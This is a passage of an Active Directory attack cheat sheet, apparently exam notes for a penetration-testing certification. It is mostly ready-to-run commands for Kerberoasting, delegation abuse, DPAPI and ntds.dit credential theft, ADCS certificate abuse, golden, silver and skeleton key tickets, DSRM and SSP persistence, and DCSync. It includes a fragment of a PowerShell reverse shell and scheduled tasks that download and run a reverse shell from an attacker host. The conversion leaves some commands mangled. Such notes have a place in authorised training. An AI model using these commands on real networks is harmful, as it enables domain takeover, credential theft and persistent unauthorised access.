);$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);

$stream.Flush()};$client.Close()} -ComputerName SERVERC.DOMAIN.LOCAL} -Session $serverb

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Exam Info
Domain Privilege Escalation 1
Kerberoast

WUT IS DIS?:
All standard domain users can request a copy of all service accounts along with their
correlating password hashes, so we can ask a TGS for any SPN that is bound to a "user"
account, extract the encrypted blob that was encrypted using the user's password and
bruteforce it offline.

 PowerView:

 #Get User Accounts that are used as Service AccountsGet-

NetUser -SPN

 #Get every available SPN account, request a TGS and dump its hashInvoke-

Kerberoast

 #Requesting the TGS for a single account:

Request-SPNTicket

 #Export all tickets using Mimikatz

Invoke-Mimikatz -Command '"kerberos::list /export"'

 AD Module:

 #Get User Accounts that are used as Service Accounts

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Impacket:
 python GetUserSPNs.py <DomainName>/<DomainUser>:<Password> -outputfile
<FileName>

Rubeus:

 #Kerberoasting and outputing on a file with a spesific format Rubeus.exe

kerberoast /outfile:<fileName> /domain:<DomainName>

 #Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabledaccounts

Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /rc4opsec

 #Kerberoast AES enabled accounts

Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /aes

 #Kerberoast spesific user account

Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /user:<username>


/simple

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Exam Info
 #Kerberoast by specifying the authentication credentials

Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /creduser:<username>


/credpassword:<password>
ASREPRoast
WUT IS DIS?:
If a domain user account do not require kerberos preauthentication, we can request a validTGT for
this account without even having domain credentials, extract the encrypted

blob and bruteforce it offline.


• PowerView: Get-DomainUser -PreauthNotRequired -Verbose

• AD Module: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties


DoesNotRequirePreAuth
Forcefully Disable Kerberos Preauth on an account i have Write Permissions or more! Check for
interesting permissions on accounts:

Hint: We add a filter e.g. RDPUsers to get "User Accounts" not Machine Accounts, because
Machine Account hashes are not crackable!

PowerView:

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}

Disable Kerberos Preauth:

Set-DomainObject -Identity <UserAccount> -XOR @{useraccountcontrol=4194304} -VerboseCheck


if the value changed:

Get-DomainUser -PreauthNotRequired -Verbose


• And finally execute the attack using the ASREPRoast tool.

• #Get a spesific Accounts hash:

• Get-ASREPHash -UserName <UserName> -Verbose


#Get any ASREPRoastable Users hashes:

 Invoke-ASREPRoast -Verbose
 Using Rubeus:

 #Trying the attack for all domain users

 Rubeus.exe asreproast /format:<hashcat|john> /domain:<DomainName>


/outfile:<filename>

 #ASREPRoast spesific user

 Rubeus.exe asreproast /user:<username> /format:<hashcat|john>


/domain:<DomainName> /outfile:<filename>

 #ASREPRoast users of a spesific OU (Organization Unit)

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Exam Info
Rubeus.exe asreproast /ou:<OUName> /format:<hashcat|john> /domain:<DomainName>
/outfile:<filename>

 Using Impacket:

 #Trying the attack for the specified users on the file

python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile <FileName>


Password Spray Attack
If we have harvest some passwords by compromising a user account, we can use this methodto try
and exploit password reuse on other domain accounts.

Tools:
 DomainPasswordSpray

 CrackMapExec

 Invoke-CleverSpray

 Spray

Force Set SPN


WUT IS DIS ?: If we have enough permissions -> GenericAll/GenericWrite we can set a SPN on atarget
account, request a TGS, then grab its blob and bruteforce it.

 PowerView:

 #Check for interesting permissions on accounts:

 Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}



#Check if current user has already an SPN setted:

 Get-DomainUser -Identity <UserName> | select serviceprincipalname

 #Force set the SPN on the account:

Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}

 AD Module:

 #Check if current user has already an SPN setted

 Get-ADUser -Identity <UserName> -Properties ServicePrincipalName | select


ServicePrincipalName

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Exam Info
 #Force set the SPN on the account:

Set-ADUser -Identiny <UserName> -ServicePrincipalNames @{Add='ops/whatever1'}Finally


use any tool from before to grab the hash and kerberoast it!
Abusing Shadow Copies

If you have local administrator access on a machine try to list shadow copies, it's an easy wayfor
Domain Escalation.

#List shadow copies using vssadmin (Needs Admnistrator Access)


vssadmin list shadows

#List shadow copies using diskshadow

diskshadow list shadows all

#Make a symlink to the shadow copy and access it


mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

1. You can dump the backuped SAM database and harvest credentials.
2. Look for DPAPI stored creds and decrypt them.
3. Access backuped sensitive files.

List and Decrypt Stored Credentials using Mimikatz

Usually encrypted credentials are stored in:

 %appdata%\Microsoft\Credentials

 %localappdata%\Microsoft\Credentials

#By using the cred function of mimikatz we can enumerate the cred object and get informationabout
it:

dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>“
#From the previous command we are interested to the "guidMasterKey" parameter, that tellsus
which masterkey was used to encrypt the credential

#Lets enumerate the Master Key:


dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>"

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Exam Info

#Now if we are on the context of the user (or system) that the credential belogs to, we can usethe /rpc
flag to pass the decryption of the masterkey to the domain controler:

dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc

#We now have the masterkey in our local cache:


dpapi::cache

#Finally we can decrypt the credential using the cached masterkey:


dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>" Detailed
Article: DPAPI all the things
Unconstrained Delegation

WUT IS DIS ?: If we have Administrative access on a machine that has Unconstrained Delegation
enabled, we can wait for a high value target or DA to connect to it, steal his TGTthen ptt and
impersonate him!

Using PowerView:

#Discover domain joined computers that have Unconstrained Delegation enabledGet-

NetComputer -UnConstrained

#List tickets and check if a DA or some High Value target has stored its TGT

Invoke-Mimikatz -Command '"sekurlsa::tickets"'

#Command to monitor any incoming sessions on our compromised server

Invoke-UserHunter -ComputerName <NameOfTheComputer> -Poll


<TimeOfMonitoringInSeconds> -UserName <UserToMonitorFor> -Delay
<WaitInterval> -Verbose

#Dump the tickets to disk:


Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

#Impersonate the user using ptt attack:

Invoke-Mimikatz -Command '"kerberos::ptt <PathToTicket>"'


Note: We can also use Rubeus!

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Exam Info
Constrained Delegation
Using PowerView and Kekeo:

#Enumerate Users and Computers with constrained delegationGet-

DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

#If we have a user that has Constrained delegation, we ask for a valid tgt of this user usingkekeo

tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser>

#Then using the TGT we have ask a TGS for a Service this user has Access to through
constrained delegation

tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service'sSPN>

#Finally use mimikatz to ptt the TGS


Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'
ALTERNATIVE: Using Rubeus:

Rubeus.exe s4u /user:<UserName> /rc4:<NTLMhashedPasswordOfTheUser>


/impersonateuser:<UserToImpersonate> /msdsspn:"<Service's SPN>" /altservice:<Optional>
/ptt
Now we can access the service as the impersonated user!

)►† What if we have delegation rights for only a spesific SPN? (e.g TIME):
In this case we can still abuse a feature of kerberos called "alternative service". This allows usto
request TGS tickets for other "alternative" services and not only for the one we have rights
for. Thats gives us the leverage to request valid tickets for any service we want that the host
supports, giving us full access over the target machine.

Resource Based Constrained Delegation


WUT IS DIS?:
TL;DR
If we have GenericALL/GenericWrite privileges on a machine account object of a domain, we can
abuse it and impersonate ourselves as any user of the domain to it. For example we can
impersonate Domain Administrator and have complete access.

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Exam Info
Tools we are going to use:

 PowerView

 Powermad

 Rubeus

First we need to enter the security context of the user/machine account that has the privilegesover
the object. If it is a user account we can use Pass the Hash, RDP, PSCredentials etc.

Exploitation Example:
#Import Powermad and use it to create a new MACHINE ACCOUNT

. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-
SecureString 'p@ssword!' -AsPlainText -Force) -Verbose

#Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select
-Expand objectsid

#Then by using the SID we are going to build an ACE for the new created machine accountusing a
raw security descriptor:

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList


"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"

$SDBytes = New-Object byte[] ($SD.BinaryLength)


$SD.GetBinaryForm($SDBytes, 0)

#Next, we need to set the security descriptor in the msDS- AllowedToActOnBehalfOfOtherIdentity


field of the computer account we're taking over, againusing PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-
allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

#After that we need to get the RC4 hash of the new machine account's password using Rubeus
Rubeus.exe hash /password:'p@ssword!'

#And for this example, we are going to impersonate Domain Administrator on the cifs serviceof the
target computer using Rubeus

Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword>


/impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain
/domain:wtver.domain /ptt

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Exam Info

#Finally we can access the C$ drive of the target machinedir


\\TargetMachine.wtver.domain\C$
Detailed Articles:

 Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack ActiveDirectory

 RESOURCE-BASED CONSTRAINED DELEGATION ABUSE

❗ In Constrain and Resource-Based Constrained Delegation if we don't have the password/hash of


the account with TRUSTED_TO_AUTH_FOR_DELEGATION that we try to abuse, we can use the very
nice trick "tgt::deleg" from kekeo or "tgtdeleg" from rubeus and fool Kerberos to give us a valid TGT
for that account. Then we just use the ticket instead of thehash of the account to perform the attack.

#Command on Rubeus Rubeus.exe


tgtdeleg /nowrap

Detailed Article: Rubeus – Now With More Kekeo

Abusing Backup Operators Group

WUT IS DIS ?: If we manage to compromise a user account that is member of the Backup
Operators group, we can then abuse it's SeBackupPrivilege to create a shadow copy of the current
state of the DC, extract the ntds.dit database file, dump the hashes and escalate ourprivileges to
DA.

1. Once we have access on an account that has the SeBackupPrivilege we can access theDC and
create a shadow copy using the signed binary diskshadow:

2. #Create a .txt file that will contain the shadow copy process script
3. Script ->{
4. set context persistent nowriters
5. set metadata c:\windows\system32\spool\drivers\color\example.cab
6. set verbose on
7. begin backup

8. add volume c: alias mydrive9.


10. create
11.

12. expose %mydrive% w:


13. end backup

14. }

15.

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Exam Info
16. #Execute diskshadow with our script as parameter
diskshadow /s script.txt

17. Next we need to access the shadow copy, we may have the SeBackupPrivilege but wecant just
simply copy-paste ntds.dit, we need to mimic a backup software and use Win32 API calls to copy
it on an accessible folder. For this we are going to

use this amazing repo:

16. #Importing both dlls from the repo using powershell


17. Import-Module .\SeBackupPrivilegeCmdLets.dll
18. Import-Module .\SeBackupPrivilegeUtils.dll
19. #Checking if the SeBackupPrivilege is enabled

20. Get-SeBackupPrivilege23.

24. #If it isn't we enable it

25. Set-SeBackupPrivilege26.
27. #Use the functionality of the dlls to copy the ntds.dit database file from the shadowcopy to a
location of our choice

28. Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\<PathToSave>\ntds.dit -Overwrite

29. 29.

30. #Dump the SYSTEM hive

reg save HKLM\SYSTEM c:\temp\system.hive


27. Using smbclient.py from impacket or some other tool we copy ntds.dit and theSYSTEM
hive on our local machine.

28. Use secretsdump.py from impacket and dump the hashes.


29. Use psexec or another tool of your choice to PTH and get Domain Admin access.

Abusing Exchange

 Abusing Exchange one Api call from DA

 CVE-2020-0688

 PrivExchange Exchange your privileges for Domain Admin privs by abusing Exchange

Weaponizing Printer Bug

 Printer Server Bug to Domain Administrator

 NetNTLMtoSilverTicket

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Exam Info
Abusing ACLs

 Escalating privileges with ACLs in Active Directory

 aclpwn.py

 Invoke-ACLPwn

Abusing IPv6 with mitm6

 Compromising IPv4 networks via IPv6

 mitm6

SID History Abuse


WUT IS DIS?: If we manage to compromise a child domain of a forest and SID filtering isn't enabled
(most of the times is not), we can abuse it to privilege escalate to Domain Administrator of the root
domain of the forest. This is possible because of the SID History fieldon a kerberos TGT ticket, that
defines the "extra" security groups and privileges.

Exploitation example:

#Get the SID of the Current Domain using PowerViewGet-

DomainSID -Domain current.root.domain.local

#Get the SID of the Root Domain using PowerViewGet-


DomainSID -Domain root.domain.local

#Create the Enteprise Admins SID

Format: RootDomainSID-519

#Forge "Extra" Golden Ticket using mimikatz


kerberos::golden /user:Administrator /domain:current.root.domain.local
/sid:<CurrentDomainSID> /krbtgt:<krbtgtHash> /sids:<EnterpriseAdminsSID> /startoffset:0
/endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi

#Inject the ticket into memory kerberos::ptt


\path\to\ticket\golden.kirbi

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Exam Info
#List the DC of the Root Domaindir

\\dc.root.domain.local\C$

#Or DCsync and dump the hashes using mimikatz


lsadump::dcsync /domain:root.domain.local /all
Detailed Articles:

 Kerberos Golden Tickets are Now More Golden

 A Guide to Attacking Domain Trusts


Exploiting SharePoint

 CVE-2019-0604 RCE ExploitationPoC

 CVE-2019-1257 Code execution through BDC deserialization

 CVE-2020-0932 RCE using typeconvertersPoC

Zerologon

 Zerologon: Unauthenticated domain controller compromise: White paper of the


vulnerability.

 SharpZeroLogon: C# implementation of the Zerologon exploit.

 Invoke-ZeroLogon: PowerShell implementation of the Zerologon exploit.

 Zer0Dump: Python implementation of the Zerologon exploit using the impacketlibrary.

PrintNightmare

 CVE-2021-34527: Vulnerability details.


 Impacket implementation of PrintNightmare: Reliable PoC of PrintNightmare using theimpacket
library.
 C# Implementation of CVE-2021-1675: Reliable PoC of PrintNightmare written in C#.

Active Directory Certificate Services

Check for Vulnerable Certificate Templates with: Certify

Note: Certify can be executed with Cobalt Strike's execute-assembly command as well
.\Certify.exe find /vulnerable /quiet
Make sure the msPKI-Certificates-Name-Flag value is set to "ENROLLEE_SUPPLIES_SUBJECT" and that
the Enrollment Rights allow Domain/Authenticated Users. Additionally, check that the
pkiextendedkeyusage parameter contains the "Client Authentication" value as well as that the
"Authorized Signatures Required" parameter is set to 0.

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Exam Info
This exploit only works because these settings enable server/client authentication, meaning an
attacker can specify the UPN of a Domain Admin ("DA") and use the captured certificate with Rubeus
to forge authentication.

Note: If a Domain Admin is in a Protected Users group, the exploit may not work as intended.Check
before choosing a DA to target.

Request the DA's Account Certificate with Certify

.\Certify.exe request /template:<Template Name> /quiet /ca:"<CA Name>"


/domain:<domain.com> /path:CN=Configuration,DC=<domain>,DC=com /altname:<DomainAdmin
AltName> /machine

This should return a valid certificate for the associated DA account.


The exported cert.pem and cert.key files must be consolidated into a single cert.pem file, withone
gap of whitespace between the END RSA PRIVATE KEY and the BEGIN CERTIFICATE.

Example of cert.pem:

-----BEGIN RSA PRIVATE KEY-----

BIIEogIBAAk15x0ID[. ]

[...]
[...]
-----END RSA PRIVATE KEY-----

-----BEGIN CERTIFICATE-----

BIIEogIBOmgAwIbSe[ ]

[...]

[...]
-----END CERTIFICATE-----
#Utilize openssl to Convert to PKCS #12 Format
The openssl command can be utilized to convert the certificate file into PKCS #12 format (youmay be
required to enter an export password, which can be anything you like).

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export
-out cert.pfx

Once the cert.pfx file has been exported, upload it to the compromised host (this can be donein a
variety of ways, such as with Powershell, SMB, certutil.exe, Cobalt Strike's upload functionality, etc.)

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Exam Info
After the cert.pfx file has been uploaded to the compromised host, Rubeus can be used to
request a Kerberos TGT for the DA account which will then be imported into memory.

.\Rubeus.exe asktht /user:<Domain Admin AltName> /domain:<domain.com> /dc:<Domain


Controller IP or Hostname> /certificate:<Local Machine Path to cert.pfx> /nowrap /ptt

This should result in a successfully imported ticket, which then enables an attacker to performvarious
malicious acitivities under DA user context, such as performing a DCSync attack.

No PAC
 sAMAccountname Spoofing Exploitation of CVE-2021-42278 and CVE-2021-42287

 Weaponisation of CVE-2021-42287/CVE-2021-42278 Exploitation of CVE-2021-42278 and CVE-


2021-42287

 noPAC C# tool to exploit CVE-2021-42278 and CVE-2021-42287

 sam-the-admin Python automated tool to exploit CVE-2021-42278 and CVE-2021-42287

 noPac Evolution of "sam-the-admin" tool

Domain Persistence 1

Golden Ticket Attack


#Execute mimikatz on DC as DA to grab krbtgt hash:
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <DC'sName>

#On any machine:


Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<DomainName>
/sid:<Domain's SID> /krbtgt:

<HashOfkrbtgtAccount> id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080


/ptt"'
DCsync Attack

#DCsync using mimikatz (You need DA rights or DS-Replication-Get-Changes and DS-


Replication-Get-Changes-All privileges):

Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DomainName>\<AnyDomainUser>"'

#DCsync using secretsdump.py from impacket with NTLM authentication secretsdump.py

<Domain>/<Username>:<Password>@<DC'S IP or FQDN> -just-dc-ntlm

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Exam Info
#DCsync using secretsdump.py from impacket with Kerberos Authentication secretsdump.py

-no-pass -k <Domain>/<Username>@<DC'S IP or FQDN> -just-dc-ntlmTip:


/ptt -> inject ticket on current running session
/ticket -> save the ticket on the system for later use
Silver Ticket Attack

Invoke-Mimikatz -Command '"kerberos::golden /domain:<DomainName> /sid:<DomainSID>


/target:<TheTargetMachine> /service:

<ServiceType> /rc4:<TheSPN's Account NTLM Hash> /user:<UserToImpersonate> /ptt"'SPN


List
Skeleton Key Attack
#Exploitation Command runned as DA:

Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DC'sFQDN>

#Access using the password "mimikatz"


Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator
DSRM Abuse
WUT IS DIS?: Every DC has a local Administrator account, this accounts has the DSRM passwordwhich
is a SafeBackupPassword. We can get this and then pth its NTLM hash to get local Administrator access
to DC!

#Dump DSRM password (needs DA privs):


Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName <DC's Name>

#This is a local account, so we can PTH and authenticate!

#BUT we need to alter the behaviour of the DSRM account before pth:

#Connect on DC:

Enter-PSSession -ComputerName <DC's Name>

#Alter the Logon behaviour on registry:


New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name
"DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose

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Exam Info
#If the property already exists:
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name
"DsrmAdminLogonBehaviour" -Value 2 -Verbose

Then just PTH to get local admin access on DC!


Custom SSP
WUT IS DIS?: We can set our on SSP by dropping a custom dll, for example mimilib.dll from
mimikatz, that will monitor and capture plaintext passwords from users that logged on!

From powershell:
#Get current Security Package:
$packages = Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name
'Security Packages' | select -ExpandProperty 'Security Packages'

#Append mimilib:
$packages += "mimilib"

#Change the new packages name


Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security
Packages' -Value $packages

Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name 'Security Packages'


-Value $packages

#ALTERNATIVE:
Invoke-Mimikatz -Command '"misc::memssp"'

Now all logons on the DC are logged to -> C:\Windows\System32\kiwissp.log

https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
DCSync feature for getting krbtgt hash

Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'

ACCOUNT DUMPING

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername DC01

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Exam Info
GOLDEN TICKET

■ On any machine

Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:lab.domain.local


/sid:S-1-5-x-x-x-x /krbtgt:00000000000000000000000000000000 id:500 /groups:512
/startoffset:0 /endin:600 /renewmax:10080 /ptt"'#
Execute a task to run the reverse shell script
schtasks /create /S machine.domain.local /SC Weekly /RU "NT Authority\SYSTEM" /TN
"taskname" /TR "powershell.exe -c 'iex(New-Object
Net.WebClient).DownloadString(''http://attackerip/Invoke-PowerShellTcp.ps1''')'"

schtasks /Run /S machine.domain.local /TN "taskname"


Golden ticket parameters

Invoke-Mimikatz -Command Resume

kerberos::golden Name of the module

Username for which the TGT


isgenerated
/User:Administrator

/domain:lab.domain.local Domain FQDN

/sid:S-1-5-x-x-x-x SID of the domain

NTLM (RC4) hash of the krbtgt


account. Use /aes128 and /aes256
/krbtgt:00000000000000000000000000000000 forusing AES keys

Optional User RID (default 500)


and Group default 513 512 520 518
/id:500 /groups:512 519)

Injects the ticket in current


PowerShell process - no need to save
the ticket on disk - Saves the ticket to
/ptt or /ticket a file for later use

Optional when the ticket is available


(default 0 - right now) in minutes.
Usenegative for a ticket available
from past and a larger number for
/startoffset:0
future

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Exam Info
Invoke-Mimikatz - Resum
Command e

Optional ticket lifetime (default is


/endin:60 10
0 years) in minutes. The default AD
setting is 10 hours = 600 minutes

Optional ticket lifetime with


/renewmax:1008 renewal
0 (default is 10 years) in minutes.
The default AD setting is 7 days =
100800

SILVER TICKET

 Using hash of the Domain Controller computer account

Invoke-Mimikatz -Command '"kerberos::golden /domain:lab.domain.local /sid:S-1-5-x-x-x-x


/target:DC01.lab.domain.local /service:CIFS /rc4:00000000000000000000000000000000
/user:Administrator /ptt"'
# Generate Silver ticket with machine account Hash - WMI abuse
Invoke-Mimikatz -Command '"kerberos::golden /domain:target.local /sid:S-1-5-x-x-x-x
/target:machine.target.local /service:HOST/rc4:00000000000000000000000000000000
/user:Administrator /ptt"'

Invoke-Mimikatz -Command '"kerberos::golden /domain:target.local /sid:S-1-5-x-x-x-x


/target:machine.target.local /service:RPCSS/rc4:00000000000000000000000000000000
/user:Administrator /ptt"'#
Check WMI
Get-WmiObject -Class win32_operatingsystem -ComputerName machine.target.localSilver
ticket parameters

Invoke-Mimikatz -Command Resume

Name of the module (there is no


Silvermodule!)
kerberos::golden

/User:Administrator Username for which the TGT is generated

/domain:lab.domain.local Domain FQDN

/sid:S-1-5-x-x-x-x SID of the domain

/target:DC01.lab.domain.local Target server FQDN

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Exam Info

Invoke-Mimikatz -Command Resume

The SPN name of service for which TGS isto


be created
/service:cifs

NTLM (RC4) hash of the service account.


/rc4:00000000000000000000000000000000 Use /aes128 and /aes256 for using AES keys

Optional User RID (default 500) and


Group (default 513 512 520 518 519)
/id:500 /groups:512

Injects the ticket in current PowerShell


process - no need to save the ticket on
/ptt disk

Optional when the ticket is available


(default 0 - right now) in minutes. Use
negative for a ticket available from past
/startoffset:0 and a larger number for future

Optional ticket lifetime (default is 10 years)


in minutes. The default AD settingis 10
/endin:600 hours = 600 minutes

Optional ticket lifetime with renewal


(default is 10 years) in minutes. The
/renewmax:10080 default AD setting is 7 days = 100800

 Create a silver ticket for the HOST SPN which will allow us to schedule a task

Invoke-Mimikatz -Command '"kerberos::golden /domain:lab.domain.local /sid:S-1-5-x-x-x-x


/target:DC01.lab.dmoain.local /service:HOST /rc4:00000000000000000000000000000000
/user:Administrator /ptt"'
# CONFIGURE REMOTE TASK
schtasks /create /S DC01.lab.domain.local /SC Weekly /RU "NT Authority\SYSTEM" /TN
"Abuse01" /TR "powershell.exe -c 'iex (New-Object
Net.WebClient).DownloadString(''http://10.10.10.10/Invoke-PowerShellTcp.ps1''')'"

# EXEC REMOTE TASK


schtasks /Run /S DC01.lab.domain.local /TN "Abuse01"

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Exam Info
SKELETON KEY
# REMOTE

$sess = New-PSSession DC01.domain.local

Enter-PSSession -Session $sess

# BYPASS AMSI AND EXIT

Invoke-Command -FilePath C:\Invoke-Mimikatz.ps1 -Session $sessEnter-

PSSession -Session $sess

Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"'# OR


Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName
DC01.lab.dmoain.local

# LOGIN

Enter-PSSession -Computername DC01 -credential domain\Administrator#

PASSWORD mimikatz

 Skeleton Key with lsass running as a protected processmimikatz


# privilege::debug
mimikatz # !+

mimikatz # !processprotect /process:lsass.exe /remove

mimikatz # misc::skeleton

mimikatz # !-

■ needs the mimikatz driver (mimidriv.sys) on disk of the target DC

DSRM
 Dump DSRM password (needs DA privs)

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername DC01

 Eneable DSRM account to loginEnter-


PSSession -Computername DC01
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name
"DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

 Pass the DSRM hash

Invoke-Mimikatz -Command '"sekurlsa::pth /domain:DC01 /user:Administrator

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Exam Info
/ntlm:00000000000000000000000000000000 /run:powershell.exe"
 Dump local acconut

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername DC01


 FULL

$sess = New-PSSession DC01.domain.local


Enter-PSSession -Session $sess
# BYPASS AMSI AND EXIT

Invoke-Command -FilePath C:\Invoke-Mimikatz.ps1 -Session $sess

Enter-PSSession -Session $sess

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

# ALLOW DSRM ADMINISTRATOR TO LOGIN

New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name


"DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

# PASS THE HASH DSRM ADMINISTRATOR

Invoke-Mimikatz -Command '"sekurlsa::pth /domain:DC01 /user:Administrator


/ntlm:00000000000000000000000000000000 /run:powershell.exe"'
Security Support Provider (SSP)
# Drop the mimilib.dll to system32 and add mimilib to
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

$packages = Get-ItemProperty
HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages'| select -
ExpandProperty 'Security Packages'

$packages += "mimilib"
Set-ItemProperty
HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' -Value
$packages

Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value


$packages

Invoke-Mimikatz -Command '"misc::memssp"'#

CHECK C:\Windows\system32\kiwissp.log

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Exam Info
ADMINSDHOLDER

Security Descriptor Propagator (SDPROP) runs every hour and compares the ACL of protected
groups and members with the ACL of AdminSDHolder and any differencesare overwritten on the
object ACL

Protected Groups

Account Operators Enterprise Admins

Backup Operators Domain Controllers

Server Operators Read-only Domain Controllers

Print Operators Schema Admins

Domain Admins Administrators

Replicator

 Well known abuse

Groups Resume

Account
Operators
Cannot modify DA/EA/BA groups. Can modify nested group within

Backup Backup GPO, edit to add SID of controlled account to a


Operators privilegedgroup and Restore

Server Operators Run a command as system (using the disabled Browser service)

Print Operators Copy ntds.dit backup, load device drivers

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Exam Info
 Add FullControl permissions for a user to the AdminSDHolder using PowerView as DA
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName
attacker -Rights All -Verbose

 Using ActiveDirectory Module and Set-ADACLSet-

ADACL -DistinguishedName

'CN=AdminSDHolder,CN=System,DC=test,DC=domain,DC=local' -Principal attacker -Verbose

 Interesting permissions (ResetPassword, WriteMembers)


Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName
attacker -Rights ResetPassword -Verbose

#
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName
attacker -Rights WriteMembers -Verbose

 Run SDProp manually

Import-Module Invoke-SDPropagator.ps1
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose

 Check the Domain Admins permission


Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -
match 'attacker'}

(Get-Acl -Path 'AD:\CN=Domain Admins,CN=Users,DC=lab,DC=domain,DC=local').Access |


?{$_.IdentityReference -match 'attacker'}
 Abusing FullControl using PowerView_dev

Add-DomainGroupMember -Identity 'Domain Admins' -Members attackerda -Verbose


Add-ADGroupMember -Identity 'Domain Admins' -Members attackerda
 Abusing ResetPassword using PowerView_dev

Set-DomainUserPassword -Identity targetaccount -AccountPassword (ConvertTo-SecureString


"Password@123" -AsPlainText -Force) -Verbose
Set-ADAccountPassword -Identity targetaccount -NewPassword (ConvertTo-SecureString
"Password@123" -AsPlainText -Force) -Verbose
CHECK REPLICATION RIGHTS, MODIFY, DCSYNC ATTACK
# CHECK
. .\PowerView.ps1

Get-ObjectAcl -DistinguishedName "dc=domain,dc=local" -ResolveGUIDs |


?{($_.IdentityReference -match "targetuser") -and (($_.ObjectType -match 'replication') -or
($_.ActiveDirectoryRights -match 'GenericAll'))}

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Exam Info
# ADD OBJECT ACL

Add-ObjectAcl -TargetDistinguishedName "dc=domain,dc=local" -PrincipalSamAccountName


targetuser -Rights DCSync -Verbose

# DCSYNC
Get-ObjectAcl -DistinguishedName "dc=domain,dc=local" -ResolveGUIDs |
?{($_.IdentityReference -match "targetuser") -and (($_.ObjectType -match 'replication') -or
($_.ActiveDirectoryRights -match 'GenericAll'))}

Rights Abuse

Add FullControl rights
Add-ObjectAcl -TargetDistinguishedName 'DC=lab,DC=domain,DC=local' -
PrincipalSamAccountName john -Rights All -Verbose

 Using ActiveDirectory Module and Set-ADACL

Set-ADACL -DistinguishedName 'DC=lab,DC=domain,DC=local' -Principal john -Verbose


 Add rights for DCSync

